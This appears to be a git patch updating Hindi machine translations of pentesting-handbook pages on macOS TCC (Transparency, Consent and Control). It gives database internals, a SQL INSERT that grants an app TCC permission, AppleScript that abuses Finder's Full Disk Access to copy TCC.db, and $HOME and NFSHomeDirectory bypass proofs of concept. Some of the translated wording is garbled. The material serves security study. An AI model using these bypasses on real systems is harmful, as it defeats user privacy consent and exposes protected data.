From c331fb324b5b4cdd55082eca7c0bf88aa52a810b Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 19 Dec 2023 00:39:40 +0000 Subject: [PATCH] Translated ['macos-hardening/macos-security-and-privilege-escalation/mac --- .../macos-tcc/README.md | 100 ++++++--- .../macos-tcc/macos-tcc-bypasses/README.md | 195 ++++-------------- 2 files changed, 106 insertions(+), 189 deletions(-) diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md index 52d8405e2..5708a8e07 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md @@ -14,7 +14,7 @@ ## **मूलभूत जानकारी** -**TCC (Transparency, Consent, and Control)** मैकओएस में एक तंत्र है जो **निश्चित सुविधाओं तक एप्लिकेशन का पहुंच सीमित और नियंत्रित करने** के लिए होता है, आमतौर पर एक गोपनीयता के दृष्टिकोण से। इसमें स्थान सेवाएं, संपर्क, फ़ोटो, माइक्रोफ़ोन, कैमरा, पहुंचिता, पूर्ण डिस्क पहुंच और बहुत कुछ शामिल हो सकता है। +**TCC (Transparency, Consent, and Control)** मैकओएस में एक तंत्र है जो **निश्चित सुविधाओं तक एप्लिकेशन का पहुंच सीमित और नियंत्रित करने** के लिए होता है, आमतौर पर एक गोपनीयता के दृष्टिकोण से। इसमें स्थान सेवाएं, संपर्क, फ़ोटो, माइक्रोफ़ोन, कैमरा, पहुंचियोंता, पूर्ण डिस्क पहुंच और बहुत कुछ शामिल हो सकता है। उपयोगकर्ता के दृष्टिकोण से, वे TCC को कार्रवाई में देखते हैं **जब एक ऐप्लिकेशन TCC द्वारा संरक्षित सुविधा तक पहुंच चाहता है**। जब ऐसा होता है, तो **उपयोगकर्ता को प्रश्न पूछा जाता है** कि क्या वह पहुंच को अनुमति देना चाहते हैं या नहीं। @@ -24,7 +24,7 @@ **TCC** को **डेमन** द्वारा संभाला जाता है जो `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` में स्थित होता है और `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` में कॉन्फ़िगर किया जाता है (मशीन सेवा `com.apple.tccd.system` को पंजीकृत करना)। -यहां आप देख सकते हैं कि तंत्र सिस्टम और उपयोगकर्ता के रूप में चल रहा है: +यहां आप देख सकते हैं कि तंत्रिका सिस्टम के रूप में और उपयोगकर्ता के रूप में चल रही है: ```bash ps -ef | grep tcc 0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system @@ -34,15 +34,15 @@ ps -ef | grep tcc ### TCC डेटाबेस -चयन फिर **TCC सिस्टम-व्यापी डेटाबेस में संग्रहीत** किया जाता है, जो **`/Library/Application Support/com.apple.TCC/TCC.db`** में होता है या प्रति-उपयोगकर्ता वरीयताओं के लिए **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** में होता है। डेटाबेसों को **SIP**(सिस्टम अखंडता संरक्षण) के साथ **संपादित करने से सुरक्षित रखा गया है**, लेकिन आप उन्हें पढ़ सकते हैं। +चयन फिर **TCC सिस्टम-व्यापी डेटाबेस में संग्रहीत** होता है, जो **`/Library/Application Support/com.apple.TCC/TCC.db`** में होता है या प्रति-उपयोगकर्ता वरीयताओं के लिए **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** में होता है। डेटाबेसों को **SIP**(सिस्टम अखंडता संरक्षण) के साथ **संपादित करने से सुरक्षित रखा गया है**, लेकिन आप उन्हें पढ़ सकते हैं। {% hint style="danger" %} **iOS** में TCC डेटाबेस **`/private/var/mobile/Library/TCC/TCC.db`** में होता है। {% endhint %} -**`/var/db/locationd/clients.plist`** में एक **तीसरा** TCC डेटाबेस होता है जो **स्थान सेवाओं तक पहुंच देने वाले क्लाइंट** को दर्शाता है। +**`/var/db/locationd/clients.plist`** में एक **तीसरा** TCC डेटाबेस होता है जो **स्थान सेवाओं तक पहुंच की अनुमति देने वाले क्लाइंट** को दर्शाता है। -इसके अलावा, **पूर्ण डिस्क एक्सेस** वाले प्रक्रिया **उपयोगकर्ता मोड** डेटाबेस को **संपादित कर सकती है**। अब एक ऐप को डेटाबेस को **पढ़ने** (और उपयोगकर्ताओं को संशोधित करने के लिए) भी **FDA** या **`kTCCServiceEndpointSecurityClient`** की आवश्यकता होती है। +इसके अलावा, **पूर्ण डिस्क उपयोग की अनुमति** वाले प्रक्रिया **उपयोगकर्ता मोड** डेटाबेस को **संपादित कर सकती है**। अब एक ऐप को डेटाबेस को **पढ़ने** (और उपयोगकर्ताओं को संशोधित करने के लिए) के लिए भी **FDA** या **`kTCCServiceEndpointSecurityClient`** की आवश्यकता होती है। {% hint style="info" %} **नोटिफिकेशन सेंटर UI** सिस्टम TCC डेटाबेस में **परिवर्तन कर सकता है**: @@ -107,12 +107,12 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; {% endtabs %} {% hint style="success" %} -दोनों डेटाबेसों की जांच करके आप एप्लिकेशन की अनुमतियों की जांच कर सकते हैं, जो अनुमति दी गई है, जो मना की गई है, या जो नहीं है (इसके लिए यह पूछेगा)। +दोनों डेटाबेसों की जांच करके आप एक ऐप की अनुमतियों की जांच कर सकते हैं, जिसे अनुमति दी गई है, जिसे मना किया गया है, या जिसे नहीं है (इसके लिए यह पूछेगा)। {% endhint %} -* **`auth_value`** में अलग-अलग मान हो सकते हैं: denied(0), unknown(1), allowed(2), या limited(3)। +* **`auth_value`** में विभिन्न मान हो सकते हैं: denied(0), unknown(1), allowed(2), या limited(3)। * **`auth_reason`** निम्नलिखित मान ले सकता है: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) -* **csreq** फ़ील्ड यह दर्शाने के लिए है कि कैसे बाइनरी को सत्यापित करें और TCC अनुमतियाँ प्रदान करें: +* **csreq** फ़ील्ड यह दर्शाने के लिए है कि कैसे बाइनरी को सत्यापित करें और TCC अनुमतियों को प्रदान करें: ``` # Query to get cserq in printable hex select service, client, hex(csreq) from access where auth_value=2; @@ -131,11 +131,11 @@ echo "X'$REQ_HEX'" * टेबल के **अन्य फ़ील्डों** के बारे में अधिक जानकारी के लिए [**इस ब्लॉग पोस्ट की जांच करें**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)। {% hint style="info" %} -कुछ TCC अनुमतियाँ हैं: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... इन सभी की पूरी सूची नहीं है, लेकिन आप इस [**ज्ञात सूची की जांच कर सकते हैं**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)। +कुछ TCC अनुमतियाँ हैं: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... इन सभी की परिभाषा करने वाली कोई सार्वजनिक सूची नहीं है, लेकिन आप इस [**ज्ञात सूची**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) की जांच कर सकते हैं। -**फ़ुल डिस्क एक्सेस** का नाम है **`kTCCServiceSystemPolicyAllFiles`** और **`kTCCServiceAppleEvents`** ऐप को अन्य ऐप्स को इवेंट भेजने की अनुमति देता है जो सामान्यतः **कार्यों को स्वचालित करने** के लिए उपयोग होते हैं। +**फ़ुल डिस्क एक्सेस** का नाम **`kTCCServiceSystemPolicyAllFiles`** है और **`kTCCServiceAppleEvents`** ऐप्लिकेशन को अन्य ऐप्लिकेशनों को इवेंट भेजने की अनुमति देता है जो सामान्यतः **कार्यों को स्वचालित करने** के लिए उपयोग होते हैं। -**kTCCServiceEndpointSecurityClient** एक TCC अनुमति है जो उच्च अधिकार भी प्रदान करती है, उनमें से एक विकल्प है उपयोगकर्ता डेटाबेस में लिखने की। +**kTCCServiceEndpointSecurityClient** एक TCC अनुमति है जो उच्च अधिकार भी प्रदान करती है, इनमें से एक विकल्प है उपयोगकर्ता डेटाबेस में लिखने की। इसके अलावा, **`kTCCServiceSystemPolicySysAdminFiles`** एक ऐसी अनुमति है जो एक उपयोगकर्ता के **`NFSHomeDirectory`** विशेषता को **बदलने** की अनुमति देती है, जो उसके होम फ़ोल्डर को बदलता है और इसलिए TCC को **दौरा करने की अनुमति देता है**। {% endhint %} @@ -143,9 +143,9 @@ echo "X'$REQ_HEX'" आप `System Preferences --> Security & Privacy --> Privacy --> Files and Folders` में ऐप्स को **पहले से दिए गए अनुमतियों** की जांच भी कर सकते हैं। {% hint style="success" %} -ध्यान दें कि यदि डेटाबेस में से कोई भी डेटाबेस उपयोगकर्ता के होम में है, तो **SIP के कारण उपयोगकर्ता सीधे इन डेटाबेस को संशोधित नहीं कर सकता** (यदि आप रूट हों भी)। एक नई नियम को कॉन्फ़िगर करने या संशोधित करने का एकमात्र तरीका सिस्टम प्राथमिकता पैनल या प्रॉम्प्ट के माध्यम से है जहां ऐप उपयोगकर्ता से पूछता है। +ध्यान दें कि यदि डेटाबेसों में से कोई भी उपयोगकर्ता के होम में होता है, तो **SIP के कारण उपयोगकर्ता सीधे इन डेटाबेसों को संशोधित नहीं कर सकता** (यदि आप रूट हों भी रहें हों)। एक नई नियम को कैसे कॉन्फ़िगर किया जा सकता है या संशोधित किया जा सकता है, इसका एकमात्र तरीका सिस्टम प्राथमिकता पैनल या प्रॉम्प्ट के माध्यम से है जहां ऐप्लिकेशन उपयोगकर्ता से पूछता है। -हालांकि, ध्यान दें कि उपयोगकर्ता **`tccutil`** का उपयोग करके नियमों को **हटा सकता या क्वेरी कर सकता है**। +हालांकि, ध्यान दें कि उपयोगकर्ता **`tccutil`** का उपयोग करके नियमों को **हटा सकते हैं या क्वेरी कर सकते हैं**। {% endhint %} #### रीसेट @@ -163,7 +163,7 @@ TCC **डेटाबेस** में एप्लिकेशन के **ब {% code overflow="wrap" %} ```bash # From sqlite -sqlite> select hex(csreq) from access where client="ru.keepcoder.Telegram"; +sqlite> select service, client, hex(csreq) from access where auth_value=2; #Get csreq # From bash @@ -196,10 +196,10 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app kTCCServiceAddressBook ``` -यह यह सुनिश्चित करेगा कि कैलेंडर उपयोगकर्ता से यादें, कैलेंडर और पता पुस्तिका तक पहुंच करने के लिए पूछता नहीं है। +यह कैलेंडर को यूजर से यादें, कैलेंडर और पता-पुस्तिका तक पहुंच करने के लिए पूछने से बचाएगा। {% hint style="success" %} -इंटाइटलमेंट्स के बारे में कुछ आधिकारिक दस्तावेज़ीकरण के अलावा, इंटाइटलमेंट्स के बारे में अनौपचारिक **रोचक जानकारी भी मिल सकती है** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) में +इंटाइटलमेंट्स के बारे में कुछ आधिकारिक दस्तावेज़ीकरण के अलावा, इंटाइटलमेंट्स के बारे में अनौपचारिक **रोचक जानकारी** भी मिल सकती है [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) में। {% endhint %} ### संवेदनशील असुरक्षित स्थान @@ -210,7 +210,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app ### उपयोगकर्ता की इच्छा / com.apple.macl -पहले ही उल्लेख किया गया है कि यह संभव है कि **एक ऐप को एक फ़ाइल तक पहुंच देने के लिए उसे ड्रैग एंड ड्रॉप करके अनुमति दी जाए**। इस पहुंच को किसी भी TCC डेटाबेस में निर्दिष्ट नहीं किया जाएगा लेकिन यह फ़ाइल के **विस्तारित गुणांक के रूप में** रखा जाएगा। इस गुणांक में अनुमति दी गई ऐप का UUID संग्रहीत होगा: +पहले ही उल्लिखित तरीके के अनुसार, एक ऐप को एक फ़ाइल तक पहुंच देने के लिए उसे उस पर ड्रैग एंड ड्रॉप करके एक्सेस दिया जा सकता है। इस एक्सेस को किसी भी TCC डेटाबेस में नहीं निर्दिष्ट किया जाएगा लेकिन फ़ाइल के **विस्तारित गुण** के रूप में यह एक्सेस **एट्रिब्यूट** के रूप में संग्रहीत होगा। इस एट्रिब्यूट में अनुमति दी गई ऐप का UUID संग्रहीत होगा: ```bash xattr Desktop/private.txt com.apple.macl @@ -226,21 +226,63 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 ``` {% hint style="info" %} -यह अद्भुत है कि **Sandbox** द्वारा **`com.apple.macl`** विशेषता का प्रबंधन किया जाता है, न कि tccd द्वारा। +यह अद्वितीय है कि **`com.apple.macl`** विशेषता को **Sandbox** द्वारा प्रबंधित किया जाता है, न कि tccd द्वारा। -इसके अलावा ध्यान दें कि यदि आप अपने कंप्यूटर में किसी ऐप के UUID की अनुमति देने वाले एक फ़ाइल को दूसरे कंप्यूटर में ले जाते हैं, क्योंकि एक ही ऐप के लिए अलग-अलग UID होंगे, इससे उस ऐप को पहुंच नहीं मिलेगी। +इसके अलावा ध्यान दें कि यदि आप एक फ़ाइल को एक अलग कंप्यूटर में एक ऐप के UUID की अनुमति देती हैं, क्योंकि एक ही ऐप के लिए अलग-अलग UID होंगे, तो वह ऐप तक पहुंच नहीं देगी। {% endhint %} -विस्तारित विशेषता `com.apple.macl` को अन्य विस्तारित विशेषताओं की तरह **हटाया नहीं जा सकता** क्योंकि इसे **SIP द्वारा संरक्षित** किया गया है। हालांकि, जैसा कि [**इस पोस्ट में समझाया गया है**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), इसे **फ़ाइल को ज़िप करके अक्षम करना**, इसे **हटाना** और इसे **अनज़िप करना** संभव है। +विस्तारित विशेषता `com.apple.macl` को अन्य विस्तारित विशेषताओं की तरह **हटाया नहीं जा सकता** क्योंकि इसे **SIP द्वारा संरक्षित** किया जाता है। हालांकि, जैसा कि [**इस पोस्ट में समझाया गया है**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), इसे **ज़िप करके** अक्षम किया जा सकता है, फ़ाइल को **हटाकर** और फिर से **अनज़िप** करके। ## TCC Privesc & Bypasses -### Automation से FDA तक Privesc +### TCC में डालें -**Finder** एक ऐप्लिकेशन है जिसमें **हमेशा FDA होता है** (यदि यह UI में नहीं दिखाई देता है तो भी), इसलिए यदि आपके पास इसके ऊपर **Automation** अधिकार हैं, तो आप इसके अधिकारों का दुरुपयोग करके **कुछ कार्रवाई करवा सकते हैं**। +यदि किसी बिंदु पर आपको TCC डेटाबेस पर लिखने की पहुंच होती है, तो आप निम्नलिखित की तरह एक प्रविष्टि जोड़ सकते हैं (टिप्पणियाँ हटा दें): +``` +INSERT INTO access ( +service, +client, +client_type, +auth_value, +auth_reason, +auth_version, +csreq, +policy_id, +indirect_object_identifier_type, +indirect_object_identifier, +indirect_object_code_identity, +flags, +last_modified, +pid, +pid_version, +boot_uuid, +last_reminded +) VALUES ( +'kTCCServiceSystemPolicyDesktopFolder', -- service +'com.googlecode.iterm2', -- client +0, -- client_type (0 - bundle id) +2, -- auth_value (2 - allowed) +3, -- auth_reason (3 - "User Set") +1, -- auth_version (always 1) +X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now +NULL, -- policy_id +NULL, -- indirect_object_identifier_type +'UNUSED', -- indirect_object_identifier - default value +NULL, -- indirect_object_code_identity +0, -- flags +strftime('%s', 'now'), -- last_modified with default current timestamp +NULL, -- assuming pid is an integer and optional +NULL, -- assuming pid_version is an integer and optional +'UNUSED', -- default value for boot_uuid +strftime('%s', 'now') -- last_reminded with default current timestamp +); +``` +### Automation से FDA तक की निजी उन्नयन + +**Finder** एक ऐप्लिकेशन है जिसमें **हमेशा FDA होता है** (यदि यह UI में दिखाई नहीं देता है तो भी), इसलिए यदि आपके पास इसके ऊपर **Automation** अधिकार हैं, तो आप इसके अधिकारों का दुरुपयोग करके इसे **कुछ कार्रवाई करने के लिए मजबूर कर सकते हैं**। {% tabs %} -{% tab title="उपयोगकर्ताओं का TCC.db चुराएं" %} +{% tab title="उपयोगकर्ताओं के TCC.db चुराएं" %} ```applescript # This AppleScript will copy the system TCC database into /tmp osascript< @@ -26,166 +26,39 @@ ls: Desktop: Operation not permitted username@hostname ~ % cat Desktop/lalala asd ``` -**विस्तारित गुणांक `com.apple.macl`** नए **फ़ाइल** में जोड़ा जाता है ताकि **निर्माता ऐप** को इसे पढ़ने की अनुमति मिल सके। - -### TCC निर्दिष्ट पथ - -किसी TCC अनुमति को एक ऐप्लिकेशन को देने का सबसे सामान्य तरीका बंडल का उपयोग करना है। हालांकि, यह भी संभव है कि **एक्सेस को चोरी कर सकते हैं** जब आप बाइनरी को अधिलेखित कर सकते हैं। - -आप इस कोड का उपयोग करके एक बाइनरी को कॉल कर सकते हैं: - -{% tabs %} -{% tab title="invoker.m" %} -``` -#import - -// clang -fobjc-arc -framework Foundation invoker.m -o invoker - -int main(int argc, const char * argv[]) { -@autoreleasepool { -// Check if the argument is provided -if (argc != 2) { -NSLog(@"Usage: %s ", argv[0]); -return 1; -} - -// Create a new task -NSTask *task = [[NSTask alloc] init]; - -// Set the task's launch path to the provided argument -[task setLaunchPath:@(argv[1])]; - -// Launch the task -[task launch]; - -// Wait for the task to complete -[task waitUntilExit]; -} -return 0; -} -``` -{% tab title="shell.c" %} - -यहां हम एक साधारण C प्रोग्राम देख रहे हैं जिसे "shell.c" नामक फ़ाइल में सहेजा गया है। यह प्रोग्राम एक नए शेल प्रोसेस को बनाने के लिए fork और execvp सिस्टम कॉल का उपयोग करता है। इसका उद्देश्य है कि यह एक नए शेल प्रोसेस में एक नए कमांड प्रारंभ करेगा। - -```c -#include -#include -#include -#include - -int main() { - pid_t pid; - int status; - - pid = fork(); - - if (pid == 0) { - // Child process - char *args[] = {"/bin/sh", "-c", "ls -l", NULL}; - execvp(args[0], args); - perror("execvp"); - _exit(1); - } else if (pid > 0) { - // Parent process - waitpid(pid, &status, 0); - } else { - // Fork failed - perror("fork"); - return 1; - } - - return 0; -} -``` - -इस प्रोग्राम को कंपाइल करने के लिए निम्नलिखित कमांड का उपयोग करें: - -```shell -gcc -o shell shell.c -``` - -इसके बाद, निम्नलिखित कमांड का उपयोग करके प्रोग्राम को चलाएं: - -```shell -./shell -``` - -इस प्रोग्राम के परिणामस्वरूप, नए शेल प्रोसेस में "ls -l" कमांड चलाया जाएगा और उसका आउटपुट मुद्रित होगा। - -{% endtab %} -``` -#include -#include -#include // For execl and fork - -// gcc shell.c -o shell -// mv shell - -int main() { -pid_t pid = fork(); - -if (pid == -1) { -// Fork failed -perror("fork"); -return 1; -} else if (pid == 0) { -// Child process -execl("/Applications/iTerm.app/Contents/MacOS/iTerm2", "iTerm2", (char *) NULL); - -// execl only returns if there's an error -perror("execl"); -exit(EXIT_FAILURE); -} else { -// Parent process -int status; -waitpid(pid, &status, 0); // Wait for the child process to finish - -if (WIFEXITED(status)) { -// Return the exit status of iTerm2 -return WEXITSTATUS(status); -} -} - -return 0; -} -``` -{% endtab %} -{% endtabs %} - - +**विस्तारित विशेषता `com.apple.macl`** नए **फ़ाइल** में जोड़ी जाती है ताकि **निर्माता ऐप** को उसे पढ़ने की अनुमति मिल सके। ### SSH बाईपास -डिफ़ॉल्ट रूप से **SSH के माध्यम से पूरी डिस्क एक्सेस** होता था। इसे अक्षम करने के लिए, आपको इसे सूची में रखना होगा लेकिन अक्षम करना होगा (सूची से हटाने से ये अधिकार हटाए नहीं जाएंगे): +डिफ़ॉल्ट रूप से **SSH के माध्यम से पूरी डिस्क तक पहुंच होती थी**। इसे अक्षम करने के लिए, इसे सूची में शामिल करना चाहिए लेकिन अक्षम करना चाहिए (सूची से हटाने से ये अधिकार हटाए नहीं जाएंगे): ![](<../../../../../.gitbook/assets/image (569).png>) -यहां आपको कुछ **मैलवेयर्स के उदाहरण मिलेंगे जिन्होंने इस सुरक्षा को दौर करने में सफलता प्राप्त की है**: +यहां आपको कुछ **मैलवेयर्स के उदाहरण मिलेंगे जिन्होंने इस सुरक्षा को बाईपास किया है**: * [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/) {% hint style="danger" %} -ध्यान दें कि अब SSH को सक्षम करने के लिए आपको **पूरी डिस्क एक्सेस** की आवश्यकता होती है +ध्यान दें कि अब SSH को सक्षम करने के लिए आपको **पूरी डिस्क तक पहुंच** होनी चाहिए। {% endhint %} -### एक्सटेंशन्स का हैंडल करें - CVE-2022-26767 +### एक्सटेंशन का हैंडल करें - CVE-2022-26767 -फ़ाइलों को **`com.apple.macl`** एट्रिब्यूट दिया जाता है ताकि एक **निश्चित एप्लिकेशन को उसे पढ़ने की अनुमति मिल सके**। यह एट्रिब्यूट सेट होता है जब आप एक फ़ाइल को एक ऐप पर **ड्रैग एंड ड्रॉप** करते हैं, या जब उपयोगकर्ता एक फ़ाइल को **डबल-क्लिक** करके इसे **डिफ़ॉल्ट एप्लिकेशन** के साथ खोलता है। +फ़ाइलों को **`com.apple.macl`** विशेषता दी जाती है ताकि एक **निश्चित ऐप्लिकेशन को उसे पढ़ने की अनुमति मिल सके**। यह विशेषता सेट की जाती है जब आप एक ऐप्लिकेशन पर फ़ाइल को **ड्रैग एंड ड्रॉप** करते हैं, या जब उपयोगकर्ता एक फ़ाइल को **डबल-क्लिक** करके इसे **डिफ़ॉल्ट ऐप्लिकेशन** के साथ खोलते हैं। -इसलिए, एक उपयोगकर्ता **एक खतरनाक ऐप** को रजिस्टर कर सकता है जो सभी एक्सटेंशन्स को हैंडल करेगा और लॉन्च सर्विसेज को कॉल करेगा ताकि किसी भी फ़ाइल को **खोलें** (इसलिए खतरनाक फ़ाइल को पढ़ने की अनुमति मिलेगी)। +इसलिए, एक उपयोगकर्ता **एक ख़तरनाक ऐप्लिकेशन को पंजीकृत** कर सकता है ताकि वह सभी एक्सटेंशन का हैंडल करें और लॉन्च सेवाओं को कॉल करें ताकि किसी भी फ़ाइल को खोलें (इसलिए ख़तरनाक फ़ाइल को पढ़ने की अनुमति मिलेगी)। ### iCloud -एंटाइटलमेंट **`com.apple.private.icloud-account-access`** के माध्यम से **`com.apple.iCloudHelper`** XPC सेवा के साथ संवाद करना संभव है जिससे **iCloud टोकन प्रदान किए जा सकते हैं**। +**`com.apple.private.icloud-account-access`** इंटाइटलमेंट के माध्यम से **`com.apple.iCloudHelper`** XPC सेवा के साथ संवाद संभव होता है जो **iCloud टोकन प्रदान करेगी**। -**iMovie** और **Garageband** में इस एंटाइटलमेंट के साथ और भी अनुमतियां थीं। +**iMovie** और **Garageband** में इस इंटाइटलमेंट के साथ और अन्य इंटाइटलमेंट के साथ यह संभव था। -उस एंटाइटलमेंट से iCloud टोकन प्राप्त करने के बारे में अधिक **जानकारी** के लिए टॉक देखें: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) +इस इंटाइटलमेंट से iCloud टोकन प्राप्त करने के बारे में अधिक **जानकारी** के लिए इस टॉक की जांच करें: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) ### kTCCServiceAppleEvents / Automation -**`kTCCServiceAppleEvents`** अनुमति वाले ऐप को अन्य ऐप्स को **नियंत्रित करने की क्षमता** होगी। इसका मतलब है कि यह अन्य ऐप्स को प्रदान की गई अनुमतियों का दुरुपयोग करने की क्षमता हो सकती है। +**`kTCCServiceAppleEvents`** अनुमति वाले ऐप्लिकेशन को **अन्य ऐप्स को नियंत्रित करने की क्षमता** होगी। इसका मतलब है कि यह अन्य ऐप्स को प्रदान की गई अनुमतियों का दुरुपयोग कर सकता है। Apple स्क्रिप्ट के बारे में अधिक जानकारी के लिए देखें: @@ -193,7 +66,7 @@ Apple स्क्रिप्ट के बारे में अधिक ज [macos-apple-scripts.md](macos-apple-scripts.md) {% endcontent-ref %} -उदाहरण के लिए, यदि एक ऐप को **`iTerm` पर ऑटोमेशन अनुमति** है, उदाहरण के लिए इस उदाहरण में **`Terminal`** को iTerm पर पहुंच है: +उदाहरण के लिए, यदि एक ऐप्लिकेशन को **`iTerm` पर ऑटोमेशन अनुमति** है, उदाहरण के लिए इस उदाहरण में **`Terminal`** को iTerm पर पहुंच है:
@@ -236,7 +109,7 @@ do shell script "rm " & POSIX path of (copyFile as alias) उपयोगकर्ता भूमिका **tccd डेमन** जो **`HOME`** **env** चर का उपयोग करता है ताकि यह TCC उपयोगकर्ता डेटाबेस तक पहुंच सके: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** [इस Stack Exchange पोस्ट](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) के अनुसार और क्योंकि TCC डेमन `launchd` के माध्यम से मौजूदा उपयोगकर्ता डोमेन के भीतर चल रहा है, इसलिए इसे पास किए गए सभी वातावरण चरों को **नियंत्रित करना संभव है**।\ -इस प्रकार, एक **हमलावर यह सेट कर सकता है `$HOME` वातावरण** चर को **`launchctl`** में एक **नियंत्रित** **निर्देशिका** की ओर पहुंच करने के लिए, **TCC** डेमन को **पुनः आरंभ** कर सकता है, और फिर **सीधे TCC डेटाबेस को संशोधित** कर सकता है ताकि इसे अंतिम उपयोगकर्ता को प्रश्न न करते हुए **हर TCC अधिकार** को दे सके।\ +इस प्रकार, एक **हमलावर यह सेट कर सकता है `$HOME` वातावरण** चर को **`launchctl`** में एक **नियंत्रित** **निर्देशिका** की ओर पहुंच करने के लिए, **TCC** डेमन को **पुनः आरंभ** कर सकता है, और फिर **सीधे TCC डेटाबेस को संशोधित** कर सकता है ताकि इसे अंत उपयोगकर्ता को प्रश्न न करते हुए **हर TCC अधिकार** को दे सके।\ PoC: ```bash # reset database just in case (no cheating!) @@ -305,11 +178,11 @@ launchctl setenv SQLITE_AUTO_TRACE 1 ## **NFSHomeDirectory** द्वारा -TCC उपयोगकर्ता को नियंत्रित करने के लिए एक डेटाबेस का उपयोग करता है जो उपयोगकर्ता के HOME फ़ोल्डर में संसाधित संसाधनों का उपयोगकर्ता को नियंत्रित करने के लिए होता है **$HOME/Library/Application Support/com.apple.TCC/TCC.db**।\ -इसलिए, यदि उपयोगकर्ता को एक $HOME env चर के साथ एक **अलग फ़ोल्डर** की ओर इशारा करने के लिए TCC को पुनः आरंभ करने में सफल होता है, तो उपयोगकर्ता किसी भी ऐप को किसी भी TCC अनुमति के लिए TCC डेटाबेस बना सकता है। **/Library/Application Support/com.apple.TCC/TCC.db** और TCC को धोखा देने के लिए धोखा दे सकता है। +TCC उपयोगकर्ता को नियंत्रित करने के लिए एक डेटाबेस का उपयोग करता है जो उपयोगकर्ता के HOME फ़ोल्डर में संसाधित संसाधनों के लिए एक्सेस नियंत्रण करता है **$HOME/Library/Application Support/com.apple.TCC/TCC.db** पर।\ +इसलिए, यदि उपयोगकर्ता को $HOME env चर को एक **अलग फ़ोल्डर** पर पॉइंट करके TCC को पुनः शुरू करने में सफलता मिलती है, तो उपयोगकर्ता किसी भी TCC अनुमति को किसी भी ऐप्लिकेशन को देने के लिए एक नया TCC डेटाबेस बना सकता है। {% hint style="success" %} -ध्यान दें कि Apple उपयोगकर्ता के प्रोफ़ाइल में संग्रहीत सेटिंग का उपयोग करता है **`NFSHomeDirectory`** विशेषता के रूप में **`$HOME`** के मान के लिए, इसलिए यदि आप किसी ऐप्लिकेशन को संशोधित करने की अनुमति देने के लिए अनुमति है (**`kTCCServiceSystemPolicySysAdminFiles`**), तो आप एक TCC बाईपास के साथ इस विकल्प को **युद्धास्पद** बना सकते हैं। +ध्यान दें कि Apple उपयोगकर्ता के प्रोफ़ाइल में संग्रहीत सेटिंग का उपयोग करता है **`NFSHomeDirectory`** विशेषता के रूप में **`$HOME`** के मान के लिए, इसलिए यदि आप किसी ऐप्लिकेशन को संशोधित करने की अनुमति देने के लिए अनुमति है (**`kTCCServiceSystemPolicySysAdminFiles`**), तो आप एक TCC बाईपास के साथ इस विकल्प का उपयोग कर सकते हैं। {% endhint %} ### [CVE-2020–9934 - TCC](./#c19b) @@ -321,14 +194,14 @@ TCC उपयोगकर्ता को नियंत्रित करन **पहला POC** [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) और [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) का उपयोग करता है उपयोगकर्ता के **HOME** फ़ोल्डर को संशोधित करने के लिए। 1. लक्ष्य ऐप के लिए _csreq_ ब्लॉब प्राप्त करें। -2. आवश्यक उपयोग और _csreq_ ब्लॉब के साथ एक नकली _TCC.db_ फ़ाइल प्लांट करें। +2. आवश्यक एक्सेस और _csreq_ ब्लॉब के साथ एक नकली _TCC.db_ फ़ाइल प्लांट करें। 3. [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) का उपयोग करके उपयोगकर्ता के डायरेक्टरी सेवाओं एंट्री को निर्यात करें। -4. उपयोगकर्ता के डायरेक्टरी सेवाओं एंट्री को संशोधित करें ताकि उपयोगकर्ता के होम डायरेक्टरी बदल जाए। +4. उपयोगकर्ता के डायरेक्टरी सेवाओं एंट्री को बदलने के लिए डायरेक्टरी सेवाओं एंट्री को संशोधित करें। 5. [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) का उपयोग करके संशोधित डायरेक्टरी सेवाओं एंट्री को आयात करें। 6. उपयोगकर्ता के _tccd_ को रोकें और 